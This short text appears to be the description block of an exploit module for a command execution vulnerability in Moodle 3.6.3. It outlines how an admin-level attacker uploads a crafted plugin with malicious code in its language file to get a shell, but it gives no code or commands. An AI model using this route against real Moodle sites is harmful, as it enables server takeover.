        This module exploits a command execution vulnerability in Moodle 3.6.3.
        An attacker can upload malicious file using the plugin installation area.
        Plugins must be hosted accommodate "version.php" and "theme_{plugin name}.php" files.
        After routine check, the moodle will accept the appropriate plugin file.
        Plugin control can be bypassed and malicious code can be placed in the files contained in the plugin.
        The module receives a shell session from the server by placing malicious code in the language file.

        You must have an admin account to exploit this vulnerability.
